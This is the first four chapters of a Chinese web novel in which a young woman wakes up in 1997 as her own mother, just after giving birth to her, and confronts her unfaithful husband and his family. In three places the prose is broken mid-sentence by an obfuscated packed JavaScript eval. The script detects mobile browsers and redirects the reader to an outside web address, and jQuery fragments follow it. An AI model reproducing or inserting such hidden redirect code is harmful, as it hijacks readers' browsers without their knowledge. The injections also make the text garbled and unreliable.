《杜鹃河一九九七》 1. 第 1 章 张晓风睁开眼,觉得自己精神和身体都挺崩溃的。 她感到浑身酸痛,肚子尤其痛,好像有谁把她的肾摘了似的。 舌根发麻,还很想喝水。试着挣扎了下,她发现无法控制自己的身体。 半躺在床上,面前是堵白墙,下半部分刷着浅绿色的油漆墙围,张晓风已经很久没见过这种装修了。 应该是医院一类的地方,因为张晓风闻到了刺鼻的消毒水味。 她努力搜寻着自己的上一段记忆。 上班,下班,怎么想都是平常的的一天。 除了…… 下班后在公司门口的天桥上,应付差事似的跟妈妈打电话,按捺着自己的情绪避免吵起来,“嗯嗯嗯”地答应着想要快点挂掉电话,然后……脚下一空,是天桥塌了? 她不记得自己有没有喊出声,只记得手机脱手前,妈妈惊慌失措的尖叫: “姑娘?!?!” “姑娘?” “吱呀”一声,门开了,有人轻手轻脚地进来,带来了泡面香气。 声音好像有点熟悉,但张晓风控制不了自己的颈椎,看不到人是谁。 “姑娘,醒了?” 那人走到张晓风床边,把泡面放在床头柜上。红烧牛肉面味儿更近也更浓了,张晓风开始分泌口水。 “水……” 她用气声艰难地说道。 “好,水,等着啊,妈给你倒水。” 拧开暖水瓶盖的声音,然后是倒水声。 张晓风艰难眨眨干涩的眼,还是想不起来这个自称“妈”的人是谁。 总之肯定不是自己的妈。 很快,杯口小心翼翼地探到张晓风嘴边:“来,慢点喝,先试试烫不烫。” 但张晓风却顾不上喝水了。 稳稳端着的搪瓷杯后,是她姥姥梁凤至的脸。 年轻的,健康的,让她感觉熟悉又陌生的——和姥姥葬礼上她遗像里的样子差不多。 “姥……?” 张晓风涩声唤出这个久未使用过的音节。 “哎呀妈,我姑娘让人剌了一回肚皮,咋还矮下去一辈呢?”梁凤至被张晓风逗笑了,“你再瞅瞅,我是谁?” “……” 张晓风狠狠闭上眼睛,再重新睁开,还是绿色墙围、年轻的姥姥,“可以把病历卡给我看看吗?” 她只是试着问一问,没想到还真有。 病历卡插在台历上,上面印着“杜鹃河市加工厂附属医院”。“产妇杜涓”,是妈妈的名字;台历翻到1997年9月30日,张晓风的生日。 …… 不知道是否是惊吓过度,张晓风感觉自己能稍微活动了。 梁凤至看见,欣慰地说:“麻药劲儿应该快过去了。你搅着怎么样,还疼不?” “不痛了。”张晓风转了转眼睛,其实还是很痛,但是和心里的震惊比,痛也不算什么了。 她无法接受,变成自己的妈妈杜涓这一事实。 好恐怖,而且疑似刚刚生下“自己”。 这是什么事啊?张晓风,不,杜涓默默地想,她不会被国际伦理标准联盟抓走当典型吧? 梁凤至似乎意识到了女儿的沉默:“孩子都生下来了,你想开点,是要离还是接着过,妈都站你这边。” 杜涓:? 还没准备好适应自己的新名字新身份,新的妈妈就投下重磅炸弹。 她知道,上辈子的爸爸张强在妈妈怀孕的时候出轨,还被妈妈发现,才早产生下了她。 因为上辈子的杜涓每次诉苦的开场白都是:“才八个多月就早产,又摊上你那个死爹,你都不知道我受了多少罪……” 但是上辈子,爸爸和妈妈到最后也没有离婚。 爸爸身边的女人好像换得很勤,恨不得十天半月才回一次家。于是妈妈把抱怨的话一直挂在嘴边: “要不是为了你,我早就不跟他过了……” 张晓风从小的时候就想:他们为什么不离婚呢? 说是为了我,可我并没有为此变得更快乐啊? 然而现在,她不再是张晓风,她是杜涓了。 抬起眼睛,她坚定地对梁凤至说: “我不想再和他在一起了,我想要和他离婚。” 如果张强不曾是她爹,她想,或许哪辈子她都不会给他这种人一个眼神吧。 然而梁凤至的关注重点却不是这个: “姑娘啊,我刚才就想问你,你咋突然说上普通话了?想当播音员呐?” 杜涓顿了顿,张晓风自从上了大学,离开杜鹃河这座东北小城,就再也没有说过东北话了。 刻意将普通话讲得字正腔圆,怕别人嘲笑她小品演员似的口音。 现在再想说,却发现自己已经说不出来了。 然而梁凤至也只是吐槽一下,很快回到正题:“好,我姑娘早该想开了。离婚好,离就离,但孩子得归咱们。张强那死出,一看就不是能好好带孩子的人,好好的孩子,都得让他磋磨了。别怕,妈帮你带着。” 说到这个,梁凤至又想起来:“你还没看见你姑娘呢吧?小脸儿长得可好看了。” 她站起身,从一旁的摇篮里熟练抱起熟睡的婴儿,给杜涓看:“孩子他爹别的不行,长得精神倒是真的。都遗传给我外孙女了,看这眼睛!看这小嘴!” 杜涓探头看了看,女婴的小脸皱巴巴的,还泛着潮红,跟猴子似的,哪里好看了? 说也奇怪,明知道梁凤至抱着的,是小时候的自己,但她却无法产生任何同理心。 她根本没记得过婴儿时的自己是什么样的心情。 倒是产生了一种奇妙的怜惜,她从未体会过的感觉。 无论怎么说,她做张晓风的时候,从不觉得杜涓算是一个好妈妈。 如今她是杜涓了,就不能再让女儿过上辈子那样的日子! 她要拨乱反正,把女儿宠成全杜鹃河最幸福的小公主! 杜涓豪气干云地想着,肚子叫了一声。 梁凤至忙把婴儿放回摇篮:“饿了吧?现在过了快九个小时了,但是大夫说还是得饿着,最多只能喝点米汤,你先对付吧。” 保温饭盒里盛着大米和小米混合熬成的“二米粥”,稠乎乎热腾腾的,上面还结着一层米油,散发着稻米的清香。 记忆深处,她好像曾经每天在这样的味道中醒来。 梁凤至一勺一勺吹凉了,再喂给杜涓。 杜涓的嘴被食物占满,梁凤至嘴也没闲着:“张强可真有意思,自己老婆生孩子,鬼门关上走了一遭,他倒好,人都不露面。” 因为张强重男轻女。 上辈子,他特想给张晓风添个弟弟,自己生不出来,就想着去抱养一个。 直到张晓风二十四岁了,在外面工作了,张强还没放弃这个想法。 张晓风在天桥上接的妈妈的电话,就是因为这件事。 “抱一个也行,你给我添孙子我是不指望了,还不如照顾你弟弟呢,你爸也能多回两趟家。” 张晓风很想问:好不容易把她供了出来,妈妈为什么要心甘情愿地再给自己套上一个枷锁? 妈妈就不能过好自己的人生吗? 但张晓风没有说。 道理是肯定讲不通的,她懒得再和妈妈吵架。 妈妈仍在电话那头滔滔不绝:“哎呀我说你怎么连个对象都不处啊?要不就回杜鹃河考个公务员得了,在外头干也干不长远。哎哎哎,要不把这孩子挂你名下吧?反正你成天说不结婚,有个小孩,以后也有个依靠……” 张晓风被妈妈的异想天开气得想笑又想哭。 然后天桥就荒唐地塌了,终止了这荒唐的对话,张晓风甚至有点庆幸。 “我刚才睡着了吗?” 杜涓睁开眼,感觉精神比之前好了些。 耳边仍是梁凤至的声音:“我姑娘遭大罪了,我病危通知单都签了,又说顺转剖能生,二话不说就给剌了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543813|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大一道口子!刚才正喂她米汤呢,她头一歪就睡着了。” 这些话上辈子倒是从未出现在杜涓的诉苦流程里,她都不知道原来杜涓生产时的情况竟有那么凶险。 是不是自己的灵魂没有来这个时空的话,小小的婴儿就没有妈妈了…… 那原本的自己呢,又去了哪里? 杜涓把这些过于科幻的乱七八糟念头清出脑海,意识到梁凤至好像在跟谁说话。 偏了偏头,不意外地看到了奶奶。 现在应该叫婆婆了——张强的妈妈。 张强妈噙着夸张的笑:“儿媳妇累了,多睡一会吧。可惜生了个姑娘,但也没事,下回再生,就没头一回这么遭罪了。” 说的这是什么话! 杜涓偏过头,不想看张强妈:“没下回了,疼死了,我再也不生了。” “不生了?我们家可就小强一个独苗啊,这还怎么传宗……”张强妈说着说着,忽然自己打住了,态度又转了个一百八十度的弯:“先不说这个,杜大嫂,我这回来,还有别的事儿。” 结果别的事儿就是—— 张强的姐姐张淑在省城也生了孩子,张强妈因为要照顾坐月子的杜涓而不能过去,准备给张淑包个大红包,而这红包里的钱,要向梁凤至借! “嫁出去的女儿,泼出去的水。我也没空经管张淑了,你们也不用特地过去,包个红包,也是那意思,就当是小辈们联络联络感情,也就完了。” 哦,原来还不是“借”,人家压根就没打算还。 杜涓深呼吸,觉得这家人真是离谱极了,可能所有的技能点都点在颜值上了。 能平安活这么大,真是幸好有这副皮囊撑着。 至于为什么要留下来照顾杜涓——婆婆照顾坐月子的儿媳妇,是杜鹃河的规矩。 就为了这规矩,上辈子的杜涓不仅受气,还弄亏了身体。 婆婆图省事,月子里每天要吃的鸡蛋,和粥煮在一锅里。也没有调味,鸡蛋黄煮得发黑,米粥一股蛋腥味。 上辈子杜涓实在喝不下去,只好偷偷倒掉。饿了好多顿,添了贫血的毛病。 这些也都是张晓风听到的诉苦。 她只觉得,一个不愿照顾,一个不想受气,何苦非要为一个根本没人监督的死规矩,凑在一起呢? 想到这里,杜涓开了口:“你去省城替淑姐带孩子吧,不用照顾我了。” 张强妈活像看见了外星人开口,杜涓啥时候这么硬气地跟她说过话! “不行啊,老祖宗的规矩摆在那儿,撇下孙女儿,去看外孙女,那不招人笑话?” 杜涓觉得感觉来了,想用一口复健中的东北话跟张强妈扯皮:“这算啥招人笑话?这样的事多了去了。” 结果一开口,嘴皮子秃噜了:“这算啥招人笑话?你的笑话多了去了。” 张强妈脸绿了。 不过生了个姑娘,人怎么变得没大没小起来! 鉴于梁凤至在场,张强妈并没有当场发飙,只是不悦道:“张淑她是个事儿少的人……” 言下之意,杜涓是个事儿多的人呗。 梁凤至脸色也不好看:“亲家母,今儿你来了呢,咱们就打开天窗说亮话。我们家姑娘跟张强认识了总共不到一年,着急忙慌结了婚,也是因为有了这个孩子。现在孩子也落地了,我姑娘也想开了,等我姑娘能下地,就叫上小强,把这离婚的手续办了吧。” 杜涓心里熨帖,上辈子没相处多久,记忆都模糊了,忘了梁凤至是个从不拖泥带水的人。 张强妈听得一愣一愣的:“什么手续?” 梁凤至面色如常:“协议离婚。咱们两家肯定也都不想闹得太难看,能和平解决,就再好不过了。” 张强妈反应过来了:“离婚?刚生了孩子离什么婚?我儿媳妇疯了,大嫂你也疯了?” 话还没说完,张强推门进来了,手里拿着束百合花,脸色惨白: “妈,丈母娘,是我对不起小涓。” 2. 第 2 章 张晓风小时候还挺喜欢她爸爸张强的。 他每次回家,都会给她带新奇的玩具、妈妈不让她吃的小摊烤串,给她零花钱也从不吝啬。 就是不怎么回家,以及老问她想不想要个弟弟。 直到她懂了更多的事,才知道,他只顾大方潇洒,甩甩手来去如风,表面上他是一家之主,但实际,家里的大事小情,都是妈妈在管。 她开始讨厌爸爸,就算偶尔在家里看到爸爸,也别着脸不理他,权当他是空气。 但爸爸仍然笑眯眯地问她考得怎么样、在学校有没有被欺负。 很久很久之后,张晓风才明白,爸爸并不是没读懂她莫名其妙的敌意。 他只拿她当个不甚相熟的客人,招待好就算完成任务,根本不在乎自己在她心里的地位如何。 然而这会儿,张强跪在杜涓的病床前,哭得鼻涕一把泪一把,蓬乱的刘海儿下面露出他一双盈满水雾的泪眼,任谁看都会觉得他深情无限。 “涓啊,我……” 杜涓见状,忍着腹部刀口疼痛艰难坐起来,打断他的话:“别嚎丧了,我还没死呢。” 张强被杜涓说得一噎,他从没听过她讲这么粗俗的话。 上辈子,杜涓跟张晓风生气的时候,什么难听话都往外冒。但她面对张强的时候,永远都是楚楚可怜的。 她努力保持形象,以为这样就能挽回他,却不知没了感情,他只觉得她惺惺作态。 张强妈没愣太久,一把薅起张强:“男儿膝下有黄金,你平白无故下什么跪?” “我……” 张强的话再次被杜涓打断:“倒也不是平白无故,他跟一个小姑娘手挽手从宾馆出来,被我撞见了来着。” 由于太丢脸,上辈子杜涓倒是没跟张晓风说这段事情的具体细节,但张晓风也从大人的聊天中拼拼凑凑,大概了解了些情况。 “……” 张强妈心虚了一瞬,但很快找到了理由:“哪个男人不花心,跟朋友见个面能咋的?再说,你自己的男人,你都看不好,还有脸往外说?” 杜涓眼都没眨:“我又不是他妈,我可没义务跟看贼似的看着他。” “再说了,是他先管不好自己的生殖器官的,出于人道主义,我又不能对他进行物理阉割。” 张强听得脸一白,估计没忍住脑补了一下。 张强妈不乐意了:“你听听你说的什么话,真不嫌磕碜!” “你嫌我说话磕碜,我嫌你没长脑子,正好一拍两散,各自都高兴。” 听了这话,张强妈气焰顿时矮了下去:“小涓,张强他年纪还轻,偶然做错了一回,也不是啥大事,你就体谅体谅他呗,家和万事兴。” 杜涓快被张强妈前言不搭后语、没有半点道理的话气笑了。 她也真的笑了出来:“有我在,这家和不了。” 张强妈像根弹簧,压下去一会,又忍不住弹回来,撒泼打滚道: “给你脸你还真不要脸了,小小年纪就被搞大了肚子,全家几辈子都生不出一个带把儿的,你倒先翻脸不认人。今儿我就告诉你,户口本攥在我手里,这婚,你就别想离!” 她做好战斗准备,提防着杜涓或者她妈暴起,与自己撕扯成一团。 却没想到,杜涓好像全然不觉得刚被狠狠地泼了一盆脏水似的,嘴角甚至还带着抹笑意。 “姨,我敬你年纪比我大,有些事能不说就不说了。你要非得不依不饶,我也不在乎跟你掰扯掰扯。” “我知道从我怀着孕跟张强领了证开始,你就从来没看得起我。” “成天变着花样磋磨我,还不同意离婚,不过就是因为,住我家的楼房住惯了,不想回去点火烧煤住平房吧?还是因为,怕我把我的嫁妆从你们手里要回去?” “还有你,张强,”她目光转向张强妈身后垂着头的男人,“勾勾手指就娶到的加工厂一枝花,不到一年就闹离婚,在单位那些狐朋狗友面前,抬不起头吧?” “还有跟他们打的赌,要输了的话,面子上不好看吧?” 张强听了这话,不敢置信地抬起头:“涓啊,你怎么知道我跟李大奎他们打赌娶你的事?” 杜涓忍了又忍,才没笑出声来。 这人的智商,真是,怎么说呢…… 就算不知道,他自己刚才也全抖搂出来了。 更何况,上辈子张晓风就听她妈唠叨过无数遍,张强一家婚前婚后的那点破事。 如今她只不过是把上辈子妈妈只敢对自己说的话,原原本本地送还给真正该听这些话的人罢了。 且不说张强,张强妈本不富裕的脑容量这会儿更是雪上加霜,好半天才完全理解儿媳妇在说什么。 了不得啊!这可都是家丑啊! 当初点头同意张强把漂亮得像个小狐狸精的杜涓娶进门,除了看中她家的两室楼房之外,也是因为很满意她逆来顺受,闷声不响的性格。 怎么生了个孩子,倒跟变了个人似的? 张强妈看看隔壁床不知什么时候已经停止闲聊,伸长耳朵的产妇,再看看拿着点滴瓶在门口站着看了半天热闹的小护士,只觉得眼前一黑。 杜涓看张强妈翕动着嘴唇,却什么话也说不出,就知道,刚才的每句话,都踩中了母子俩最不愿意说的痛点。 张强一家,最好面子,当着外人的面把他们家里的破事嚷嚷出来,真是比让他们裸奔还难受。 她很满意,有种前生今世沉冤得雪的轻松。 梁凤至见大家都沉默着,适时道:“小涓累了,一会儿还得喂奶呢,你们娘俩要没啥事,就回家收拾收拾,等办完离婚,也好快点搬出去。” 张强妈听了,更加摇摇欲坠了,张强还坚持得住些:“涓啊涓,你一点旧情都不念了吗?你好狠的心……” 杜涓再次无情打断张强的痴情男施法前摇:“我跟你没啥旧情。对了,按理说我也应该还你彩礼,但是鉴于你还一分没给我呢,正好拉倒,谁都别提了。” 张强听得脸色发紫,无力地跺了跺脚:“女人真可怕!妈,咱们走!” 语毕,拽着老妈推门出去了。 杜涓也累得半死,刚才全凭一口气硬撑,这会儿浑身没一点力气,再加上腹部一直有一阵没一阵地疼,身不由己就要躺下。 梁凤至连忙轻轻扶着她的上半身,让她靠得慢些舒服些。 还欣慰地摸了摸她的头发。 护士进来换针了:“这瓶是消炎的,打完这瓶,还有一瓶维生素。” 杜涓伸出扎了留置针的手臂,轻声向护士道谢。 护士一边麻利地换吊瓶,一边跟杜涓搭讪:“妹子,你刚才骂那家人,我听着都解气。” 杜涓笑笑,没说话。 梁凤至一边收拾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543814|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张强临走之前扔了满地的百合花,一边接道:“我听着也解气,我姑娘终于想开了。” 她自来熟地跟护士聊开了:“小姑娘,我跟你说,找男人之前,可得擦亮眼睛看清楚,要不然就得这样没完没了地掰扯。” 护士乐了:“姨,不瞒你说,我明儿要去相亲,你的话我肯定记着!” 她给杜涓调完点滴的滴速,又嘱咐着:“这个不能滴太快,差不多一个多小时吧,快滴完了你就去值班室叫我,可千万别回血了啊。” 杜涓和梁凤至一致点头。 听见门外一阵器械移动和人员跑动的声音,梁凤至朝护士说:“赶紧去忙吧,待会儿我去叫你。” 护士一路小跑,出门去了。 见杜涓精神不大好,梁凤至悄悄起身,找隔壁床先住进来几天的产妇闲聊去了。 杜涓迷迷糊糊的,也不知道自己又睡着了没。 还是护士再次进来,她才总算彻底清醒了。 护士手上换着点滴,视线越过杜涓,看着床侧摇篮里的婴儿。 “小姑娘知道心疼妈妈,也不哭也不闹的,多乖啊。” 杜涓看过去,小小的婴儿睡得正酣,口水流了一脸。 她觉得心里软软的,转过头冲护士笑笑。 护士已经说起了别的事:“妹子你不知道,你那个婆婆啊,出门走了两步,就嘎一下抽过去了,刚刚才醒。” “醒来第一句话就是,‘强啊,早说让她们把房证改成你的名,你就磨蹭着不去,这下好了,到嘴的鸭子都飞了吧?’” 护士绘声绘色地模仿着,杜涓听了,并不意外,她对张强妈的没头脑早就有了相当彻底的认识。 相比之下,她更想知道张强会怎么做。 他口口声声说杜涓不念旧情,杜涓好奇的是,张强眼里的“旧情”,到底有多少? 她做张晓风的时候,从来没感受过爸爸对妈妈的情意。 上辈子的父亲,这辈子的丈夫,张强到底顾念过杜涓吗? 听了杜涓的问题,护士头摇得像拨浪鼓: “妹子,我说句心里话,你就别再想着他了。” “他倒是孝顺,看他妈气得不行,向他妈保证,他下一个老婆,绝对比你漂亮,比你有钱,还比你听话。” 杜涓得到了答案,倒也没太难过,因为竟与她自己猜想的相去不远。 “好,我知道了。” 护士看她淡定,却会错了意:“妹子,想哭就哭吧,憋着不好。” 想了想又说:“也别哭太久,都说月子里不能哭,也不完全是迷信。毕竟还在恢复期呢,总哭对身体也不好。” 杜涓知道护士是为她着想,只是自己心中确实波澜不起。 “姐,我没难受,跟渣男一刀两断,我高兴着呢。” 她仰起头,眉眼弯起温柔的弧度,朝护士笑得灿烂。 护士却想起那天杜涓入院急诊,也是她值班。 明明还那么年轻,像个孩子的杜涓,四肢伶仃,只有一个肚子硕大。手上沾的血迹还没来得及擦去,浑浑噩噩的眼却不停的流着泪。 而如今的杜涓,则更像杜鹃河后山上每到春天就肆意开着的野杜鹃,与那时那个看起来哪儿哪儿都不协调的她,已经不可同日而语了。 护士觉得心里亮堂了许多,也冲杜涓再笑了笑,拿着空点滴瓶出门去了。 3. 第 3 章 杜涓目送小护士出门,堆起的笑脸立马垮了下来。 穿越的第一天,觉倒是没少睡,接下来该怎么过,杜涓一点儿也不知道。 没有手机、没有网络的,1997年的杜鹃河,她真怕自己出门都找不到路。 这会儿没什么人在身边,杜涓终于可以不用顾忌地闭眼叹息。 如果早知今日,就该记下自己出生那些天的的彩票头奖号码! 默默想着这大半天来发生的一切,杜涓惊愕地发现,张晓风穿越前的场景已经一团模糊了。 她努力回想,却只有支离破碎的画面。 总之好像是脚下的天桥塌了,杜涓努力回忆,却总觉得在失重之前,就听到妈妈的惊呼。 难道当时家里那边也出什么事情了吗? 而对应到这个时空,则是杜涓早产,自己和女儿都差点没活成。 两个人同时出事……杜涓绞尽脑汁搜索自己那点贫瘠的穿越小说阅读量,然后更恐慌了。 按照这个套路,前世妈妈的灵魂不会正附着在那个小婴儿身上吧? 杜涓猛地睁开眼,悄悄探头过去,小床上的婴儿不知什么时候醒了,一双乌溜溜的眼睛正看着杜涓这边,却又好像穿过了她,在看别的什么东西。 杜涓对婴儿的生长状况完全一无所知,也不知道刚出生一天的婴儿视力听力如何,但如果灵魂是成年人的话,应当能够做出反应的吧? 她左右看看,隔壁床的产妇睡得都打呼噜了,梁凤至也不知去向。 “妈?” 她伸出手指,轻轻地戳了戳小婴儿的脸。 软乎乎的。 小婴儿不哭不闹,平静地与杜涓对视着。 “妈,你要是也穿越了……呃,我是说,如果你还记得自己是四十多岁的杜涓,你就把眼睛闭上。” 说完这句话,杜涓屏息等待着,小婴儿眨巴眨巴眼睛,没对杜涓的话做出任何反应。 杜涓稍微放心,看来穿越的只有自己。 随即又为自己的放心而感到羞耻。 也不知道另一个时空失去女儿的杜涓会怎样伤心难过。 想到这里,杜涓将功补过似的,放缓语气再次试探:“妈妈,你……” 话还没说完,梁凤至推门进来了,脸上还带着一抹忧色。 杜涓心里惴惴,医院的门隔音效果显然一般,梁凤至不会听到了她刚刚在说什么吧? 脸上却故作镇定:“妈妈,你怎么出去了?” 梁凤至给杜涓看手里拎着的塑料袋,轻声道:“刚才小李的爱人说产妇吃点大枣好,他正好知道附近有个地方卖的好大枣,我就跟着他去买了点,真的不错,一会你吃点试试,爱吃我再去买点。” 杜涓:“……谁是小李?” 梁凤至朝隔壁床努努嘴:“就是她呀,她妈妈你赵姨,在加工厂跟王桂娥一个车间呢。” 杜涓:“王桂娥又是谁……” 梁凤至无语:“你不认识她?就是那天……和张强一起从宾馆出来的……” 杜涓懂了,张强的出轨对象嘛。 不过上辈子没听过这个名字,张强的一堆莺莺燕燕里也不记得有这么一号人。 不过还是有疑问:“你认识她?还有,隔壁床的小李,你也认识?” “嗨,哪能呢,你妈又不是人事部的。”梁凤至不以为意地摆摆手:“就是刚才唠嗑时候说的啊!” 我看您不是人事部的,是情报局的! 杜涓腹诽着,想起自己大学时因为阑尾炎住院十天,床和床之间挡帘拉得密不透风,别说姓什么叫什么在哪工作了,直到最后她都没搞清楚隔壁床是男是女。 这里是1997年的杜鹃河,而不是二十一世纪的S市,杜涓再次清醒地认识到这一点。 当时雀跃着逃离的家乡,这次又该怎么面对呢? 杜涓漫无边际地想着,而一旁的梁凤至不停地忙活着,灌满暖水瓶,在洗脸盆里投了两条毛巾,搭在床尾的铁栏杆上晾着,出去上厕所,回来的时候还不知道从哪顺来了一把瓜子。 “报纸给我。” 杜涓听了,机械性地把枕边散落的《杜鹃河晚报》递给梁凤至,直到梁凤至把报纸铺在床头柜上,再把手里的瓜子都倒在报纸上,才反应过来她为什么叫自己拿报纸。 “妈,你找张卫生纸垫吧,听说铅字对人身体有害……” “没事没事,不干不净,吃了没病。”梁凤至不甚在意地打断杜涓的话,嗑了没两个瓜子,又想起什么似的站起来。 “对了,大枣,忙活忙活就忘了……”她从床头柜上密密麻麻的东西里刨出塑料袋,抓了几个红枣,在衣摆上蹭了蹭后递给杜涓,“快吃快吃,我刚才尝了,可甜了。” 杜涓:…… 话说这种散装红枣真的不需要洗一洗泡一泡吗? 杜涓对着几个大枣下了半天决心,还是没法入口,只得说:“现在不想吃,而且好像也不能吃这个吧……” “对对,我忘了。”梁凤至没当一回事,从杜涓手里接回红枣,吃了一个,剩下的放回塑料袋里。 “别忘了吃就行。对了,你姐……” 话还没说完,杜涓就被一阵猛烈的疼痛击中了,忍不住叫出声来。 以腹部为中心的痛感一瞬间扩散到全身,杜涓感觉手指尖都在痛,一下子就出了一身冷汗。 与此同时,一边的婴儿也嚎哭起来,声音又响亮又尖利,震得杜涓连头都痛起来。 来不及细究自己怎么了,杜涓慌张地示意梁凤至去看女儿。 梁凤至抱起孩子摸了摸,“尿了,没事。” 她暂且把孩子放回小床,先出门去找护士,然后回来拆开襁褓,换下湿的尿布扔在床下某个盆里,再换上干净的。 杜涓看着转瞬间又变成一个齐齐整整小布团的婴儿,简直怀疑梁凤至在变魔术。 护士很快就来了,见怪不怪地掀开杜涓的被子,摸摸捏捏:“没事,都正常,估计是累着了。要是过会儿还疼,我再给你按按。” 护士摸杜涓肚子那一瞬间,明明只是轻轻地按了一下,她却痛的差点昏过去,连忙虚弱道:“先不用了不用了,过会儿受不了了我再叫你。” 护士点头:“记得多翻翻身。要是实在疼得受不了,我就给你上止痛药。” 还有止痛药?杜涓一喜,就听梁凤至说:“不行,忍着吧,打药怕对孩子不好。” 护士也没坚持,示意之后就走了。 杜涓小声嘟囔:“肯定也有对孩子没影响的止痛药啊……” 梁凤至耳朵很尖:“净瞎说,是药三分毒,万一孩子哪不得劲,你能好受?” 杜涓立刻决定还是谨慎用药为好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543815|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病房里骤然安静下来,只听到隔壁床平稳的呼噜声。 梁凤至端了塑料盆出去洗尿布,很快就回来了,把尿布也晾在床头:“你姐说今晚要来看你。” 杜涓答应着,迅速回忆杜涓的姐姐,也就是前世的大姨,结论是——不熟,没什么印象。 明明是亲姐妹,上辈子的杜涓却好像很不愿意联系姐姐杜雨似的,除非过年过节,很少见面。 张晓风小时候,好像还收到过杜雨送来的小衣服小玩具,不过后来也渐渐没有了。 对了,杜雨的儿子,张晓风的表弟好像之后出国留学了,不过这会儿他应该还没出生。 梁凤至手上不停,嘴也不停:“现在都四点多了,你姐也该下班了。一会儿见着了,你说话软和点,你姐也是为你好。” 杜涓听得云里雾里,嘴上先答应着。正思考自己可能怎么得罪了杜雨,小婴儿又哭了起来。 这回是细细弱弱的哭声,撒娇似的,一点也不刺耳,反而惹人怜爱。 杜涓好像突然间就懂了:“是不是饿了?” 梁凤至投来一个“孺子可教”的眼神:“会不会喂?” 随即又叹了口气:“拉倒吧,你会干啥?来吧,我告诉你该咋整。” 她麻利地给杜涓摆出一个侧卧的姿势,拉下被子,解开杜涓胸前的纽扣。 杜涓连忙阻止:“等会儿等会儿,门!” 病房的门虚掩着,上面还有半扇窗户,里面在干什么外面看得一清二楚。 梁凤至回头瞥了一眼,不在意道:“讲究!没人瞅你。” 然后把婴儿抱过来,塞给杜涓,“把着点啊,别不小心扔了。” 杜涓没空理会梁凤至的玩笑,只恨自己没有力气下床关门,最好再把窗户也封起来。 不过很快,她就没有心思思考这些有的没的了。 疼啊!!! 瘦瘦小小的早产儿,嘴唇却那么有劲。 杜涓感觉灵魂都被吸走了,她想哭,却流不出眼泪—— 她浑身所有的营养都化作孩子的食物,已经没有余力产生眼泪了。 恍惚间,她好像看见穿着垂顺风衣、蹬着高跟皮靴的张晓风。 那个张晓风正把胸前被风吹成反面的工牌调正,扬着头跨进公司的旋转门。 忽然,她好像发现什么似的,转过身挥挥手中的咖啡纸杯,像是在跟谁打招呼。 然后立刻在玻璃门后消失不见,杜涓只看见玻璃门反射出的自己。 一个苍白憔悴的,袒胸露乳的年轻女人。 再一晃神,杜涓眼前又只剩一双黑宝石般清澈的眼。 那是女儿的眼睛,里面映出的,也是自己。 很快也很漫长,小婴儿喝饱了,几乎是转瞬间就沉入了梦乡。 杜涓还呆呆愣愣回不过神来,全靠梁凤至抱走孩子,替她擦嘴后再放回小床。 胸前冰凉濡湿一片,很不舒服。梁凤至把毛巾在水里浸到温热,才去给她擦拭,又给她换上干净的衣裳。 “摸摸毛,吓不着……” 梁凤至哄完真正的婴儿,又像哄婴儿一样哄着杜涓。杜涓握住梁凤至轻轻拍着她的手,那双手粗糙又温暖,无名指上还箍着发乌的银戒指。 “妈妈……” 她喃喃,心里想的却是她再也见不到的妈妈,另一个时空的杜涓。 4. 第 4 章 杜涓真服了自己这副新的身体了,就像电量不足一样,动不动就睡着断片儿。 再次醒来,窗外天都全黑了,病房里人也多了起来。 面前一张脸探究地看着自己,有点熟悉,但更多的是陌生。 这人是杜雨吗?好像有点老。 杜涓不太确定,刚想叫声“姐”,就听这人先说:“老姐姐,你这姑娘长得真俊啊!” 杜涓一阵后怕,这肯定不是她姐,还好没乱叫。 “俊是俊,就是有点缺心眼。”梁凤至玩笑地说着,又推杜涓,“这就是你赵姨。” “赵姨。”杜涓照葫芦画瓢地打招呼,然后才想起来,这是隔壁床产妇小李的妈妈——也许是婆婆,谁知道呢。 “哎!”赵姨高兴地应了,又把杜涓连同一旁的小婴儿狠夸一通,夸得杜涓都不好意思了,才话锋一转:“可惜张强……哎,那王桂娥天天在车间就妖妖道道的,我半拉眼珠子看不上她!勾引这个勾引那个的,脸都不要了,看她以后怎么做人!” 又说:“姑娘好好过啊,张强这是年轻没定力,以后就知道好好对你了。” 杜涓确定这人是小李的婆婆。 如果家里养着女儿,一般说不出这么让人没法接的话来。 “妈!”还没等杜涓反驳,旁边过来一个年轻男人,打着圆场连扶带拽地把赵姨弄走了。 后面的人立刻挤上前来:“涓啊,这会感觉咋样?” 这个人不过二十来岁,眉眼和杜涓长得有点像,应该是年轻版的张晓风大姨。 杜涓眼睛迅速扫过病房里的其他人,见没有其他疑似人物了才叫姐。 “哎!”面前人也应得很高兴。 